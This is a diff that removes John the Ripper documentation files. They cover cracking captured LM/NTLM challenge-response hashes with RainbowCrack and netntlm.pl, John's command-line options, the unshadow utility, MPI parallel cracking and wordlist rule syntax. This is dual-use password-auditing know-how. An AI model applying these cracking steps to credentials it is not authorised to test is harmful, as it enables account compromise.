password / LMv1 responses and their subsequent retrieval using tools such as
|
||||
RainbowCrack.
|
||||
|
||||
To further exacerbate the issue, the LM hash used during the generation of the
|
||||
LMv1 response converts a password into (at most) two 7 character upper-case
|
||||
passwords. The LM hash is then split into three pieces prior to calculating the
|
||||
LMv1 response. This process greatly reduces the size of the Rainbow Tables which
|
||||
need to be calculated in order to break a given password. For example, the
|
||||
so-called "halflmchall" tables widely available on the Internet utilize only the
|
||||
first third of the LMv1 response to break the first 7 characters of the
|
||||
respective password. The netnlm.pl script discussed in this document can be used
|
||||
to attempt to break the remaining characters of the password and its original
|
||||
case-sensitive version. The following is an example of cracking a captured
|
||||
LMv1/NTLMv1 challenge/response set.
|
||||
|
||||
Example LMv1/NTLMv1 Challenge/Response (.lc Format):
|
||||
user::WORKGROUP:5237496CFCBD3C0CB0B1D6E0D579FE9977C173BC9AA997EF:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:112233445566778
|
||||
|
||||
LMv1 Response: 5237496CFCBD3C0CB0B1D6E0D579FE9977C173BC9AA997EF
|
||||
NTLMv1 Response: A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE
|
||||
Server Challenge: 112233445566778
|
||||
|
||||
RainbowCrack look-up of password's first 7 characters (upper-cased) using first
|
||||
third (8 bytes) of LMv1 response:
|
||||
% rcrack halflmchall/*.rt -f 5237496CFCBD3C0C
|
||||
Result: CRICKET
|
||||
|
||||
First netntlm.pl Pass (Crack Remaining Characters):
|
||||
% netntlm.pl --file capture.lc --seed CRICKET
|
||||
Result: CRICKET88!
|
||||
|
||||
Second netntlm.pl Pass (Determine Case Sensitive Password)[a]:
|
||||
% netntlm.pl --file capture.lc
|
||||
Result: Cricket88!
|
||||
|
||||
[a] Note that the case-sensitive password will be shown about a third through
|
||||
the script's output following the text: "Performing NTLM case-sensitive crack
|
||||
for account".
|
||||
|
||||
The following is an example of cracking a captured NTLMv1 challenge/response. If
|
||||
the LMv1 and NTLMv1 response hashes within a given client response are
|
||||
identical, it typically means one of two things: either the client machine is
|
||||
configured to send only a NTLMv1 response (e.g. LAN Manager Authentication Level
|
||||
Group Policy Object set to "Send NTLM response only"), or the user's password is
|
||||
greater than 14 characters. If the password is indeed over 14 characters in
|
||||
length, it is unlikely a suitable Rainbow Table set is available and brute-force
|
||||
guessing will be exhaustively time-consuming.
|
||||
|
||||
Example NTLMv1 Challenge/Response (.lc Format):
|
||||
user::WORKGROUP:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:1122334455667788
|
||||
|
||||
John Usage:
|
||||
% john -format:netntlm capture.lc
|
||||
|
||||
The LMv2 and NTLMv2 challenge/response protocols both employ unique client
|
||||
challenges. This additional data effectively defeats the ability to precompute
|
||||
password/response pairs via Rainbow Tables. It should also be noted that
|
||||
despite its name, the LMv2 response is computed using a NTLM hash. This results
|
||||
in a much harder-to-crack response hash, as the password was not truncated to
|
||||
seven characters or upper-cased during the process.
|
||||
|
||||
The use of NTLMv2 is now the default policy within Microsoft Windows Vista and
|
||||
Windows 7. Its use can be enforced for older versions via the LAN Manager
|
||||
Authentication Level Group Policy Object ("Send NTLMv2 response only" (level 3
|
||||
or higher)).
|
||||
|
||||
Example LMv2 Challenge/Response (.lc Format):
|
||||
user::WORKGROUP:1122334455667788:6FAF764ECFDF1D1D9E7BA7B517190F3B:E15C1A679C7609CE
|
||||
|
||||
John Usage:
|
||||
% john -format:netlmv2 capture.lc
|
||||
|
||||
Example NTLMv2 Challenge/Response (.lc Format):
|
||||
user::ATS-W759420A:1122334455667788:02E12C3C2B2F5799D2C1A7661AE80491:0101000000000000B0736308F1C9CA01DABA9E3A11AFD91F0000000002001000310030002E0030002E0032002E0032000000000000000000
|
||||
|
||||
John Usage:
|
||||
% john -format:netntlmv2 capture.lc
|
||||
|
||||
|
||||
[1] http://davenport.sourceforge.net/ntlm.html
|
||||
[2] http://www.foofus.net/jmk/smbchallenge.html
|
||||
|
|
@ -1,282 +0,0 @@
|
|||
John the Ripper's command line syntax.
|
||||
(Updated in/for the jumbo patch by Jim Fougeron)
|
||||
|
||||
When invoked with no command line arguments, "john" prints its usage
|
||||
summary.
|
||||
|
||||
The supported command line arguments are password file names and
|
||||
options. Many of the supported options accept additional arguments.
|
||||
|
||||
You can list any number of password files right on the command line of
|
||||
"john". You do not have to specify any options. If valid password
|
||||
files are specified but no options are given, John will go through
|
||||
the default selection of cracking modes with their default settings.
|
||||
|
||||
Options may be specified along with password files or on their own,
|
||||
although some require that password files be specified and some do not
|
||||
support operation on password files.
|
||||
|
||||
All options are case sensitive, can be abbreviated as long as the
|
||||
abbreviations are unambiguous, can be prefixed with two dashes
|
||||
(GNU-style) or with one dash, and can use "=" or ":" to indicate an
|
||||
argument (if supported for a given option).
|
||||
|
||||
The supported options are as follows, square brackets denote optional
|
||||
arguments:
|
||||
|
||||
--single[=SECTION] "single crack" mode
|
||||
|
||||
Enables the "single crack" mode, using rules from the configuration
|
||||
file section [List.Rules:Single]. If --single=Single_2 then the rules
|
||||
from [List.Rules:Single_2] section would be used.
|
||||
|
||||
--wordlist=FILE wordlist mode, read words from FILE,
|
||||
--stdin or from stdin
|
||||
|
||||
These are used to enable the wordlist mode.
|
||||
|
||||
--utf8 enable UTF-8 conversion
|
||||
|
||||
John defaults to assuming ISO-8859-1 when converting plaintexts or salts
|
||||
to UTF-16. Using this flag will enable UTF-8 conversion instead. This affects
|
||||
many Microsoft formats like NT, mscash and mssql. Formats not affected will
|
||||
silently ignore this option flag.
|
||||
|
||||
--rules[=SECTION] enable word mangling rules for wordlist mode
|
||||
|
||||
Enables word mangling rules that are read from [List.Rules:Wordlist].
|
||||
If --rules=Wordlist_elite was used, then [List.Rules:Wordlist_elite]
|
||||
would be the section used.
|
||||
|
||||
--incremental[=MODE] "incremental" mode [using section MODE]
|
||||
|
||||
Enables the "incremental" mode, using the specified configuration file
|
||||
definition (section [Incremental:MODE], or [Incremental:All] by default
|
||||
except for LM hashes for which the default is [Incremental:LanMan]).
|
||||
|
||||
--external=MODE external mode or word filter
|
||||
|
||||
Enables an external mode, using external functions defined in section
|
||||
[List.External:MODE].
|
||||
|
||||
--stdout[=LENGTH] just output candidate passwords
|
||||
|
||||
When used with a cracking mode, except for "single crack", makes John
|
||||
output the candidate passwords it generates to stdout instead of
|
||||
actually trying them against password hashes; no password files may be
|
||||
specified when this option is used. If a LENGTH is given, John
|
||||
assumes that to be the significant password length and only produces
|
||||
passwords up to that length.
|
||||
|
||||
--restore[=NAME] restore an interrupted session
|
||||
|
||||
Continues an interrupted cracking session, reading state information
|
||||
from the specified session file or from $JOHN/john.rec by default.
|
||||
|
||||
--session=NAME give a new session the NAME
|
||||
|
||||
This option can only be used when starting a new cracking session and
|
||||
its purpose is to give the new session a name (to which John will
|
||||
append the ".rec" suffix to form the session file name). This is
|
||||
useful for running multiple instances of John in parallel or to be
|
||||
able to later recover a session other than the last one you interrupt.
|
||||
john.log file will also be named NAME.log (whatever 'NAME' is), so
|
||||
that any logging of the session work will end up in this file.
|
||||
|
||||
--status[=NAME] print status of a session [called NAME]
|
||||
|
||||
Prints status of an interrupted or running session. Note that on a
|
||||
Unix-like system, you can get a detached running session to update its
|
||||
session file by sending a SIGHUP to the appropriate "john" process;
|
||||
then use this option to read in and display the status.
|
||||
|
||||
--make-charset=FILE make a charset, overwriting FILE
|
||||
|
||||
Generates a charset file based on character frequencies from
|
||||
$JOHN/john.pot, for use with the "incremental" mode. The entire
|
||||
$JOHN/john.pot will be used for the charset generation by default. You
|
||||
may restrict the set of passwords used by specifying some password files
|
||||
(in which case only the cracked passwords that correspond to those
|
||||
password files will be used), "--format", or/and "--external" (with an
|
||||
external mode that defines a filter() function).
|
||||
|
||||
--show[=left] show cracked passwords
|
||||
|
||||
Shows the cracked passwords for given password files (which you must
|
||||
specify). You can use this option while another instance of John is
|
||||
cracking to see what John did so far; to get the most up to date
|
||||
information, first send a SIGHUP to the appropriate "john" process.
|
||||
if --show=left then all uncracked hashes are listed (in a john 'input'
|
||||
file format way). =left is just that literal string "=left".
|
||||
|
||||
--test[=TIME] run tests and benchmarks for TIME seconds each
|
||||
|
||||
Tests all of the compiled in hashing algorithms for proper operation and
|
||||
benchmarks them. The "--format" option can be used to restrict this to
|
||||
a specific algorithm.
|
||||
|
||||
--users=[-]LOGIN|UID[,..] [do not] load this (these) user(s)
|
||||
|
||||
Allows you to select just a few accounts for cracking or for other
|
||||
operations. A dash before the list can be used to invert the check
|
||||
(that is, load information for all the accounts that are not listed).
|
||||
|
||||
--groups=[-]GID[,..] load users [not] of this (these) group(s)
|
||||
|
||||
Tells John to load (or to not load) information for accounts in the
|
||||
specified group(s) only.
|
||||
|
||||
--shells=[-]SHELL[,..] load users with[out] this (these) shell(s)
|
||||
|
||||
This option is useful to load accounts with a valid shell only or to
|
||||
not load accounts with a bad shell. You can omit the path before a
|
||||
shell name, so "--shells=csh" will match both "/bin/csh" and
|
||||
"/usr/bin/csh", while "--shells=/bin/csh" will only match "/bin/csh".
|
||||
|
||||
--salts=[-]COUNT[:MAX] load salts with[out] at least COUNT passwords
|
||||
|
||||
This is a feature which allows to achieve better performance in some
|
||||
special cases. For example, you can crack only some salts using
|
||||
"--salts=2" faster and then crack the rest using "--salts=-2". Total
|
||||
cracking time will be about the same, but you will likely get some
|
||||
passwords cracked earlier. If MAX is listed, then no hashes are
|
||||
loaded where there are more than MAX salts. This is so that if you
|
||||
have run --salts=25 and then later can run --salts=10:24 and none of
|
||||
the hashes that were already done from the --salts=25 will be re-done.
|
||||
|
||||
--pot=NAME pot filename to use
|
||||
|
||||
By default, john will use john.pot. This override allows using a different
|
||||
john.pot-like file (to start from, and to store any found password into).
|
||||
|
||||
--format=NAME force hash type NAME
|
||||
|
||||
Allows you to override the hash type detection. Currently, valid
|
||||
"format names" are DES, BSDI, MD5, BF, AFS, LM, and crypt (and many more
|
||||
are added with various patches). You can use this option when you're
|
||||
starting a cracking session or along with one of: "--test", "--show",
|
||||
"--make-charset". Note that John can't crack hashes of different types
|
||||
at the same time. If you happen to get a password file that uses more
|
||||
than one hash type, then you have to invoke John once for each hash type
|
||||
and you need to use this option to make John crack hashes of types other
|
||||
than the one it would autodetect by default.
|
||||
|
||||
"--format=crypt" may or may not be supported in a given build of John.
|
||||
In default builds of John, this support is currently only included on
|
||||
Linux and Solaris. When specified (and supported), this option makes
|
||||
John use the system's crypt(3) or crypt_r(3) function. This may be
|
||||
needed to audit password hashes supported by the system, but not yet
|
||||
supported by John's own optimized cryptographic routines. Currently,
|
||||
this is the case for glibc 2.7+ SHA-crypt hashes as used by recent
|
||||
versions of Fedora and Ubuntu, and for SunMD5 hashes supported (but not
|
||||
used by default) on recent versions of Solaris. In fact, you do not
|
||||
have to explicitly specify "--format=crypt" for hashes of these specific
|
||||
types unless you have other hash types (those supported by John
|
||||
natively) in the password file(s) as well (in which case another hash
|
||||
type may get detected unless you specify this option).
|
||||
|
||||
"--format=crypt" is also a way to make John crack crypt(3) hashes of
|
||||
different types at the same time, but doing so results in poor
|
||||
performance and in unnecessarily poor results (in terms of passwords
|
||||
cracked) for hashes of the "faster" types (as compared to the "slower"
|
||||
ones loaded for cracking at the same time). So you are advised to use
|
||||
separate invocations of John, one per hash type.
|
||||
|
||||
--subformat=LIST displays all the built-in md5-gen formats, and exits
|
||||
|
||||
--save-memory=LEVEL enable memory saving, at LEVEL 1..3
|
||||
|
||||
You might need this option if you don't have enough memory or don't
|
||||
want John to affect other processes too much. Level 1 tells John to
|
||||
not waste memory on login names; it is only supported when a cracking
|
||||
mode other than "single crack" is explicitly requested. The only
|
||||
impact is that you won't see the login names while cracking. Higher
|
||||
memory saving levels have a performance impact; you should probably
|
||||
avoid using them unless John doesn't work or gets into swap otherwise.
|
||||
|
||||
--mem-file-size=SIZE max size of wordlist to preload into memory
|
||||
|
||||
One of the significant performance improvements for some builds of
|
||||
john, is preloading the wordlist file into memory, instead of reading
|
||||
line by line. This is especially true when running with a large list
|
||||
of --rules. The default max size file is 5 million bytes. Using this
|
||||
option allows making this larger. NOTE if --save-memory is used,
|
||||
then memory file processing is turned off.
|
||||
|
||||
--field-separator-char=c Use 'c' instead of the char ':'
|
||||
|
||||
By design, john works with most files, as 'tokenized' files. The field
|
||||
separator used by john is the colon ':' character. However, there are
|
||||
hashes which use the colon in the salt field, and there are users which
|
||||
may have a colon for a user name (for a couple examples of problems
|
||||
with it). However, an advanced john user can change the input files,
|
||||
by using a different character than the ':' (and different than any
|
||||
other 'used' character), and avoid problems of lines not being properly
|
||||
processed. The side effects are that the pot file will get this
|
||||
'character' used in it also (and only lines in the pot file that HAVE
|
||||
that character will be loaded at startup), and there are other side
|
||||
effects. Usually, this is ONLY used in very advanced situations, where
|
||||
the user 'knows what he is doing'. If the character can not be easily
|
||||
represented by the keyboard, then the format of
|
||||
--field-separator-char=\xHH can be used. --field-separator-char=\x1F
|
||||
would represent the character right before the space (space is 0x20)
|
||||
|
||||
--fix-state-delay=N only determine the wordlist offset every N times
|
||||
|
||||
This is an optimization which helps on some systems. This just
|
||||
limits the number of times that the ftell() call is performed.
|
||||
The one side effect, is that if john is aborted, and restarted, it
|
||||
may redo more tests. Thus, the use of this option is only acceptable
|
||||
and desirable for fast hash types (e.g., raw MD5).
|
||||
|
||||
--nolog turns off john.log file
|
||||
|
||||
This will turn off creation, or updating to the john.log file (which may
|
||||
have a different name if the --session=NAME flag was used.) Often the
|
||||
logging is not wanted, and this log file can often become very large
|
||||
(such as working with many 'fast' rules on a fast format). The log file
|
||||
is often used to check what work has been done, but if this will not be
|
||||
needed, and the log file is simply going to be deleted when done, then
|
||||
running in --nolog mode may be used.
|
||||
|
||||
|
||||
Additional utilities.
|
||||
|
||||
There are some related utilities in John's run directory:
|
||||
|
||||
unshadow PASSWORD-FILE SHADOW-FILE
|
||||
|
||||
Combines the "passwd" and "shadow" files (when you already have access
|
||||
to both) for use with John. You might need this since if you only
|
||||
used your shadow file, the "Full Name" or "GECOS" information wouldn't
|
||||
be used by the "single crack" mode (thus reducing its efficiency) and
|
||||
you wouldn't be able to use the "--groups" and "--shells" options and
|
||||
to select by UID with "--users". You probably also want to see all of
|
||||
the passwd file fields with "--show".
|
||||
|
||||
You'll usually want to redirect the output of "unshadow" to a file
|
||||
which you then pass to John.
|
||||
|
||||
unafs DATABASE-FILE CELL-NAME
|
||||
|
||||
Gets password hashes out of the binary AFS database and produces
|
||||
output usable by John (you should redirect the output to a file).
|
||||
|
||||
unique OUTPUT-FILE
|
||||
|
||||
Removes duplicates from a wordlist (read from stdin) without changing
|
||||
the order of entries. You might want to use this with John's
|
||||
"--stdout" option if you've got a lot of disk space to trade for the
|
||||
reduced cracking time (on possibly trying some duplicates as they
|
||||
might be produced with word mangling rules).
|
||||
This program has been updated. It is faster, it now can 'cut' the
|
||||
lines (in a couple of ways), and can unique the files data, AND also
|
||||
unique it against an existing file.
|
||||
|
||||
mailer PASSWORD-FILE
|
||||
|
||||
A shell script to send mail to all the users who got weak passwords.
|
||||
You should edit the message inside the script before using it.
|
||||
|
||||
Based on (and modified in the jumbo patch):
|
||||
$Owl: Owl/packages/john/john/doc/OPTIONS,v 1.9 2011/04/27 18:02:49 solar Exp $
|
||||
|
|
@ -1,137 +0,0 @@
|
|||
John the Ripper password cracker.
|
||||
|
||||
John the Ripper is a fast password cracker, currently available for
|
||||
many flavors of Unix (11 are officially supported, not counting
|
||||
different architectures), DOS, Win32, BeOS, and OpenVMS (the latter
|
||||
requires a contributed patch). Its primary purpose is to detect weak
|
||||
Unix passwords. Besides several crypt(3) password hash types most
|
||||
commonly found on various Unix flavors, supported out of the box are
|
||||
Kerberos/AFS and Windows LM hashes, plus many more with contributed
|
||||
patches.
|
||||
|
||||
|
||||
How to install.
|
||||
|
||||
See INSTALL for information on installing John on your system.
|
||||
|
||||
|
||||
How to use.
|
||||
|
||||
To run John, you need to supply it with some password files and
|
||||
optionally specify a cracking mode, like this, using the default order
|
||||
of modes and assuming that "passwd" is a copy of your password file:
|
||||
|
||||
john passwd
|
||||
|
||||
or, to restrict it to the wordlist mode only, but permitting the use
|
||||
of word mangling rules:
|
||||
|
||||
john --wordlist=password.lst --rules passwd
|
||||
|
||||
Cracked passwords will be printed to the terminal and saved in the
|
||||
file called $JOHN/john.pot (in the documentation and in the
|
||||
configuration file for John, "$JOHN" refers to John's "home
|
||||
directory"; which directory it really is depends on how you installed
|
||||
John). The $JOHN/john.pot file is also used to not load password
|
||||
hashes that you already cracked when you run John the next time.
|
||||
|
||||
To retrieve the cracked passwords, run:
|
||||
|
||||
john --show passwd
|
||||
|
||||
While cracking, you can press any key for status, or Ctrl-C to abort
|
||||
the session saving its state to a file ($JOHN/john.rec by default).
|
||||
If you press Ctrl-C for a second time before John had a chance to
|
||||
handle your first Ctrl-C, John will abort immediately without saving.
|
||||
By default, the state is also saved every 10 minutes to permit for
|
||||
recovery in case of a crash.
|
||||
|
||||
To continue an interrupted session, run:
|
||||
|
||||
john --restore
|
||||
|
||||
These are just the most essential things you can do with John. For
|
||||
a complete list of command line options and for more complicated usage
|
||||
examples you should refer to OPTIONS and EXAMPLES, respectively.
|
||||
|
||||
Please note that "binary" (pre-compiled) distributions of John may
|
||||
include alternate executables instead of just "john". You may need to
|
||||
choose the executable which fits your system best, e.g. "john-mmx" to
|
||||
take advantage of MMX acceleration.
|
||||
|
||||
|
||||
Features and performance.
|
||||
|
||||
John the Ripper is designed to be both feature-rich and fast. It
|
||||
combines several cracking modes in one program and is fully
|
||||
configurable for your particular needs (you can even define a custom
|
||||
cracking mode using the built-in compiler supporting a subset of C).
|
||||
Also, John is available for several different platforms which enables
|
||||
you to use the same cracker everywhere (you can even continue a
|
||||
cracking session which you started on another platform).
|
||||
|
||||
Out of the box, John supports (and autodetects) the following Unix
|
||||
crypt(3) hash types: traditional DES-based, "bigcrypt", BSDI extended
|
||||
DES-based, FreeBSD MD5-based (also used on Linux and in Cisco IOS), and
|
||||
OpenBSD Blowfish-based (now also used on some Linux distributions and
|
||||
supported by recent versions of Solaris). Also supported out of the box
|
||||
are Kerberos/AFS and Windows LM (DES-based) hashes.
|
||||
|
||||
When running on Linux distributions with glibc 2.7+, John 1.7.6+
|
||||
additionally supports (and autodetects) SHA-crypt hashes (which are
|
||||
actually used by recent versions of Fedora and Ubuntu), with optional
|
||||
OpenMP parallelization (requires GCC 4.2+, needs to be explicitly
|
||||
enabled at compile-time by uncommenting the proper OMPFLAGS line near
|
||||
the beginning of the Makefile).
|
||||
|
||||
Similarly, when running on recent versions of Solaris, John 1.7.6+
|
||||
supports and autodetects SHA-crypt and SunMD5 hashes, also with
|
||||
optional OpenMP parallelization (requires GCC 4.2+ or recent Sun Studio,
|
||||
needs to be explicitly enabled at compile-time by uncommenting the
|
||||
proper OMPFLAGS line near the beginning of the Makefile and at runtime
|
||||
by setting the OMP_NUM_THREADS environment variable to the desired
|
||||
number of threads).
|
||||
|
||||
John the Ripper Pro adds support for Windows NTLM (MD4-based) and Mac
|
||||
OS X 10.4+ salted SHA-1 hashes.
|
||||
|
||||
Contributed patches, combined into the "jumbo patch", add support for
|
||||
many more password hash types, including Windows NTLM (MD4-based)
|
||||
and Mac OS X 10.4+ salted SHA-1 hashes, raw MD5 and SHA-1, arbitrary
|
||||
MD5-based "web application" password hash types, hashes used by SQL
|
||||
database servers (MySQL, MS SQL, Oracle) and by some LDAP servers,
|
||||
several hash types used on OpenVMS, password hashes of the Eggdrop IRC
|
||||
bot, and many others, as well as S/Key skeykeys files and Kerberos TGTs.
|
||||
|
||||
Unlike other crackers, John normally does not use a crypt(3)-style
|
||||
routine. Instead, it has its own highly optimized modules for different
|
||||
hash types and processor architectures. Some of the algorithms used,
|
||||
such as bitslice DES, couldn't have been implemented within the crypt(3)
|
||||
API; they require a more powerful interface such as the one used in
|
||||
John. Additionally, there are assembly language routines for several
|
||||
processor architectures, most importantly for x86-64 and x86 with SSE2.
|
||||
|
||||
|
||||
Documentation.
|
||||
|
||||
The rest of documentation is located in separate files, listed here in
|
||||
the recommended order of reading:
|
||||
|
||||
* INSTALL - installation instructions
|
||||
* OPTIONS - command line options and additional utilities
|
||||
* MODES - cracking modes: what they are
|
||||
* CONFIG (*) - how to customize
|
||||
* RULES (*) - wordlist rules syntax
|
||||
* EXTERNAL (*) - defining an external mode
|
||||
* EXAMPLES - usage examples - strongly recommended
|
||||
* FAQ - guess
|
||||
* CHANGES (*) - history of changes
|
||||
* CONTACT (*) - how to contact the author or otherwise obtain support
|
||||
* CREDITS (*) - credits
|
||||
* LICENSE - copyrights and licensing terms
|
||||
|
||||
(*) most users can safely skip these.
|
||||
|
||||
Happy reading!
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/README,v 1.20 2011/04/27 18:02:49 solar Exp $
|
||||
|
|
@ -1,154 +0,0 @@
|
|||
====================
|
||||
PRELUDE:
|
||||
====================
|
||||
The original implementation was ca. 2004 by Ryan Lim as an academic
|
||||
project. It was later picked up and maintained at bindshell.net, adding
|
||||
fixes for the JtR 1.7 releases and various cipher patches.
|
||||
|
||||
In 2008, it was picked up by AoZ and stripped back down to the original
|
||||
MPI-only changes to improve its compatibility with the 'jumbo' patchsets,
|
||||
which had better-maintained alternate cipher support. This is often
|
||||
referred to as "the mpi10 patch"
|
||||
|
||||
In 2010, it was extended by magnum to support all cracking modes. This
|
||||
should be referred to as "the fullmpi patch" to avoid confusion. With the
|
||||
exception of Markov it is far from perfect but it works just fine and
|
||||
should support correct resuming in all modes. It is well tested but you
|
||||
have absolutely NO guarantees.
|
||||
|
||||
====================
|
||||
COMPILING:
|
||||
====================
|
||||
Unless using OMP, you should consider applying the nsk-3 patch, also known
|
||||
as "Faster bitslice DES key setup".
|
||||
|
||||
To enable MPI in John, un-comment these two line in Makefile:
|
||||
|
||||
----8<--------------8<--------------8<--------------8<--------------8<----------
|
||||
# Uncomment the TWO lines below for MPI (can be used together with OMP as well)
|
||||
CC = mpicc -DHAVE_MPI
|
||||
MPIOBJ = john-mpi.o
|
||||
----8<--------------8<--------------8<--------------8<--------------8<----------
|
||||
|
||||
You must have an operational MPI environment prior to both compiling and
|
||||
using the MPI version; configuring one is outside the scope of this
|
||||
document but for a single, multi-core, host you don't need much
|
||||
configuration. MPICH2 or OpenMPI seems to do the job fine, for example.
|
||||
Most testing of fullmpi is now done under latest stable OpenMPI.
|
||||
|
||||
Debian Linux example for installing OpenMPI:
|
||||
sudo apt-get install libopenmpi-dev openmpi-bin
|
||||
|
||||
Note that this patch works just fine together with OMP enabled as well.
|
||||
When MPI is in use (with more than one process), OMP is (by default)
|
||||
automatically disabled. Advanced users may want to change this setting
|
||||
(change MPIOMPmutex to N in john.conf) and start one MPI node per
|
||||
multi-core host, letting OMP do the rest. Warnings are printed; these
|
||||
can be muted in john.conf too.
|
||||
|
||||
====================
|
||||
USAGE:
|
||||
====================
|
||||
Typical invocation is as follows:
|
||||
|
||||
mpiexec -np 4 ./john --incremental passwd
|
||||
|
||||
The above will launch four parallel processes that will split the
|
||||
Incremental keyspace in a more-or-less even fashion. If you run it to
|
||||
completion, some nodes will however finish very early due to how this
|
||||
mode is implemented, decreasing the overall performance. This problem
|
||||
gets much worse with a lot of nodes.
|
||||
|
||||
In MARKOV mode, the range is automatically split evenly across the nodes,
|
||||
just like you could do manually. This does not introduce any overhead,
|
||||
assuming job runs to completion - and also assuming your MPI compiler
|
||||
behaves.
|
||||
|
||||
The single and wordlist modes scale fairly well and cleartexts will not be
|
||||
tried by more than one node (except when different word + rule combinations
|
||||
result in the same candidate, but that problem is not MPI specific).
|
||||
|
||||
In SINGLE mode, and sometimes in Wordlist mode (see below), john will
|
||||
distribute (actually leapfrog) the rules (after preprocessor expansion).
|
||||
This works very well but will not likely result in a perfectly even
|
||||
workload across nodes.
|
||||
|
||||
WORDLIST mode with rules will work the same way. Without rules, or when
|
||||
rules can't be split across the nodes, john will distribute (again, it
|
||||
really just leapfrogs) the words instead. This is practically the same as
|
||||
using the External:Parallel example filter in john.conf, but much more user
|
||||
friendly.
|
||||
|
||||
If the --mem-file-size parameter (default 5000000) will allow the file to
|
||||
be loaded in memory, this will be preferred and each node will only load
|
||||
its own share of words. In this case, there is no further leapfrogging and
|
||||
no other overhead. Note that the limit is per node, so using the default
|
||||
and four nodes, a 16 MB file WILL be loaded to memory, with 4 MB on each
|
||||
node.
|
||||
|
||||
You can override the leapfrogging selection. This is debug code really and
|
||||
should eventually be replace by proper options:
|
||||
|
||||
--mem-file-size=0 (force split loading, no leapfrog)
|
||||
--mem-file-size=1 (force leapfrogging of words)
|
||||
--mem-file-size=2 (force leapfrogging of rules)
|
||||
|
||||
In EXTERNAL mode, john will distribute candidates in the same way as in
|
||||
Wordlist mode without rules. That is, all candidates will be produced on
|
||||
all nodes, and then skipped by all nodes but one. This is the mode where
|
||||
the fullmpi patch performs worst. When attacking very fast formats, this
|
||||
scales VERY poorly.
|
||||
|
||||
|
||||
You may send a USR1 signal to the parent MPI process (or HUP to all
|
||||
individual processes) to cause the subprocesses to print out their status.
|
||||
Be aware that they may not appear in order, because they blindly share the
|
||||
same terminal.
|
||||
|
||||
skill -USR1 -c mpiexec
|
||||
|
||||
Another approach would be to do a normal status print. This must be done
|
||||
with mpiexec and using the same -np as used for starting the job:
|
||||
|
||||
mpiexec -np 4 ./john --status
|
||||
|
||||
Which will dump the status of each process as recorded in the .rec files.
|
||||
This way you also get a line with total statistics.
|
||||
|
||||
====================
|
||||
CAVEATS:
|
||||
====================
|
||||
- This implementation does not account for heterogeneous clusters or nodes
|
||||
that come and go.
|
||||
- In interest of cooperating with other patches, benchmarking is less
|
||||
accurate. Specifically, it assumes all participant cores are the same
|
||||
as the fastest.
|
||||
- Benchmark virtual c/s will appear inflated if launching more processes
|
||||
than cores available. It will basically indicate what the speed would be
|
||||
with that many real cores.
|
||||
- There is no inter-process communication of cracked hashes yet. This means
|
||||
that if one node cracks a hash, all other nodes will continue to waste
|
||||
time on it. The current workaround is aborting and restarting the jobs
|
||||
regularly. This also means that you may have to manually stop some or all
|
||||
nodes after all hashes are cracked.
|
||||
- Aborting a job using ctrl-c will often kill all nodes without updating
|
||||
state files and logs. I have tried to mitigate this but it is still a
|
||||
good idea to send a -USR1 to the parent before killing them. You should
|
||||
lower the SAVE parameter in john.conf to 60 (seconds) if running MPI,
|
||||
this will be the maximum time of repeated work after restarting.
|
||||
|
||||
============================================================
|
||||
Following is the verbatim original content of this file:
|
||||
============================================================
|
||||
|
||||
This distribution of John the Ripper (1.6.36) requires MPI to compile.
|
||||
|
||||
If you don't have MPI, download and install it before proceeeding.
|
||||
|
||||
Any bugs, patches, comments or love letters should be sent to
|
||||
jtr-mpi@hash.ryanlim.com. Hate mail, death threates should be sent to
|
||||
/dev/null.
|
||||
|
||||
Enjoy.
|
||||
--
|
||||
Ryan Lim <jtr-mpi@hash.ryanlim.com>
|
||||
|
|
@ -1,295 +0,0 @@
|
|||
Wordlist rules syntax.
|
||||
|
||||
Each wordlist rule consists of optional rule reject flags followed by
|
||||
one or more simple commands, listed all on one line and optionally
|
||||
separated with spaces. There's also a preprocessor, which generates
|
||||
multiple rules for a single source line. Below you will find
|
||||
descriptions of the rule reject flags, the rule commands (many of them
|
||||
are compatible with those of Crack 5.0a), and the preprocessor syntax.
|
||||
|
||||
|
||||
Rule reject flags.
|
||||
|
||||
-: no-op: don't reject
|
||||
-c reject this rule unless current hash type is case-sensitive
|
||||
-8 reject this rule unless current hash type uses 8-bit characters
|
||||
-s reject this rule unless some password hashes were split at loading
|
||||
-p reject this rule unless word pair commands are currently allowed
|
||||
-u reject this rule unless the --utf8 flag is used
|
||||
-U reject this rule if the --utf8 flag is used
|
||||
|
||||
|
||||
Numeric constants and variables.
|
||||
|
||||
Numeric constants may be specified and variables referred to with the
|
||||
following characters:
|
||||
|
||||
0...9 for 0...9
|
||||
A...Z for 10...35
|
||||
* for max_length
|
||||
- for (max_length - 1)
|
||||
+ for (max_length + 1)
|
||||
a...k user-defined numeric variables (with the "v" command)
|
||||
l initial or updated word's length (updated whenever "v" is used)
|
||||
m initial or memorized word's last character position
|
||||
p position of the character last found with the "/" or "%" commands
|
||||
z "infinite" position or length (beyond end of word)
|
||||
|
||||
Here max_length is the maximum plaintext length supported for the
|
||||
current hash type.
|
||||
|
||||
These may be used to specify character positions, substring lengths, and
|
||||
other numeric parameters to rule commands as appropriate for a given
|
||||
command. Character positions are numbered starting with 0. Thus, for
|
||||
example, the initial value of "m" (last character position) is one less
|
||||
than that of "l" (length).
|
||||
|
||||
|
||||
Character classes.
|
||||
|
||||
?? matches "?"
|
||||
?v matches vowels: "aeiouAEIOU"
|
||||
?c matches consonants: "bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ"
|
||||
?w matches whitespace: space and horizontal tabulation characters
|
||||
?p matches punctuation: ".,:;'?!`" and the double quote character
|
||||
?s matches symbols "$%^&*()-_+=|\<>[]{}#@/~"
|
||||
?l matches lowercase letters [a-z]
|
||||
?u matches uppercase letters [A-Z]
|
||||
?d matches digits [0-9]
|
||||
?a matches letters [a-zA-Z]
|
||||
?x matches letters and digits [a-zA-Z0-9]
|
||||
?z matches all characters
|
||||
?b matches characters with 8th bit set (mnemonic "b for binary")
|
||||
|
||||
The complement of a class can be specified by uppercasing its name. For
|
||||
example, "?D" matches everything but digits.
|
||||
|
||||
|
||||
Simple commands.
|
||||
|
||||
: no-op: do nothing to the input word
|
||||
l convert to lowercase
|
||||
u convert to uppercase
|
||||
c capitalize
|
||||
C lowercase the first character, and uppercase the rest
|
||||
t toggle case of all characters in the word
|
||||
